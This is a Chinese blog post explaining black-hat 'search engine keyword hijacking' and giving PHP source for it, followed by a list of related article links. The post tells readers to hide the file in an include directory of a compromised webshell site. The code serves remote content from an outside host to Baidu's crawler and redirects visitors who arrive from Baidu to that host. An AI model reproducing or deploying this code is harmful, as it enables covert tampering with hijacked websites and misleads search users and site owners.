搜尋引擎關鍵詞劫持之php篇(原始碼與分析)
摘要:其實原理很簡單: 搜尋引擎關鍵詞劫持的過程實際上就是,修改肉雞站點(webshell站點)A的首頁(希望被搜尋引擎收錄的頁面,一般情況下是首頁),使之做出如下判斷: if(來訪者是蜘蛛){ 輸出指定內容 } if(使用者是從搜尋引擎點選進入網站的){ 跳轉我們希…
其實原理很簡單:
搜尋引擎關鍵詞劫持的過程實際上就是,修改肉雞站點(webshell站點)A的首頁(希望被搜尋引擎收錄的頁面,一般情況下是首頁),使之做出如下判斷:
if(來訪者是蜘蛛){
輸出指定內容
}
if(使用者是從搜尋引擎點選進入網站的){
跳轉我們希望跳轉的站點B
}
所以我們可以達到如下效果:
針對蜘蛛來說,如果來訪者是指定的蜘蛛,那麼輸出希望讓蜘蛛看到的內容,如果來訪者不是蜘蛛,則輸出希望給正常使用者看到的內容。正常使用者在瀏覽器位址列輸入網址訪問網站A,看到正常的首頁,如果使用者點選百度的搜尋結果中的連結進入網站A,則跳轉我們要做SEO的站點B。
表達能力有限,說了這麼多也不知道大家明白沒有。。。
那好吧,下面我來上程式碼,大家可能一看就懂了。程式碼很短,也很容易理解。
<?php ################################################ # 可以把本檔案放在類似inc、include這樣的目錄中 # # 首頁require_once(`本檔案路徑`);就可以了 # # 這樣會比較隱蔽 # ################################################ if(strpos(strtolower($_SERVER[`HTTP_USER_AGENT`]),`baiduspider`) !== false ) { //判斷搜尋引擎,這裡是百度,可以自行新增蜘蛛 /* Header("HTTP/1.1 301 Moved Permanently"); Header("Location: http://www.yunsec.net/"); //這是301跳轉,301主要針對搜尋引擎,如果你想告訴搜尋引擎這個頁面已經更換URL了的話... */ $file = file_get_contents(`http://www.yunsec.net/forum.php`); echo $file;//輸出指定檔案內容 exit; } //判斷來路 if(stristr ($_SERVER[`HTTP_REFERER`],"baidu.com")) {//如果使用者來自baidu.com //Header("HTTP/1.1 301 Moved Permanently");//301跳轉,也可以不用301,直接跳轉,301狀態碼主要針對搜尋引擎使用 Header("Location: http://www.yunsec.net/");//跳轉 exit; } ?>
相關文章
- 網站最佳化搜尋引擎與關鍵詞網站
- jquery搜尋關鍵詞高亮效果jQuery
- http應用:黑帽seo之搜尋引擎劫持HTTP
- 將搜尋關鍵詞高亮顯示例項程式碼
- 語音技術——關鍵詞搜尋
- java+lucene中文分詞,搜尋引擎搜詞剖析Java中文分詞
- Trie|如何用字典樹實現搜尋引擎的關鍵詞提示功能
- js搜尋關鍵詞自動匹配功能程式碼例項JS
- python 寫的搜尋引擎 - 原始碼Python原始碼
- 微信小程式實現搜尋關鍵詞高亮微信小程式
- 搜尋引擎程式碼
- 淘寶API介面:獲得關鍵詞搜尋推薦API
- jQuery的搜尋關鍵詞自動匹配外掛jQuery
- Lumia網路搜尋排名超越Android關鍵詞Android
- 搜尋引擎與前端SEO前端
- 開發者必備的6款原始碼搜尋引擎原始碼
- 搜尋引擎核心技術與演算法 —— 詞項詞典與倒排索引優化演算法索引優化
- 中文搜尋引擎技術揭密:中文分詞中文分詞
- 搜尋引擎-03-搜尋引擎原理
- 小程式搜尋自定義關鍵詞功能關閉意欲何為?
- 遊戲出海全面分析系列(四):遊戲廠商的搜尋關鍵詞優化指南遊戲優化
- 搜尋引擎關鍵字智慧提示的一種實現
- 關於mongodb和搜尋引擎??MongoDB
- 搜尋引擎核心技術與演算法 —— 詞項詞典與倒排索引最佳化演算法索引
- 搜尋關鍵詞優化 助力全網霸屏營銷優化
- 網站分析高階細分六脈神劍之搜尋關鍵字分析網站
- 谷歌日本:2012年度熱門搜尋關鍵詞排名谷歌
- 【原始碼】btfilm專業電影搜尋引擎,海量電影等你來搜原始碼
- php替換搜尋標題關鍵字為紅色PHP
- 海量資料搜尋---搜尋引擎
- 日誌分析平臺ELK之搜尋引擎Elasticsearch叢集Elasticsearch
- SQL隱碼攻擊點搜尋關鍵字SQL
- PHP開發搜尋引擎技術全解析PHP
- MySQL單詞搜尋相關度排名MySql
- 螢幕取詞技術實現原理與關鍵原始碼原始碼
- PHP-7.1 原始碼學習:詞法分析PHP原始碼詞法分析
- 開源搜尋引擎相關資料
- 直播平臺搭建,uni-app 實現搜尋關鍵詞高亮效果APP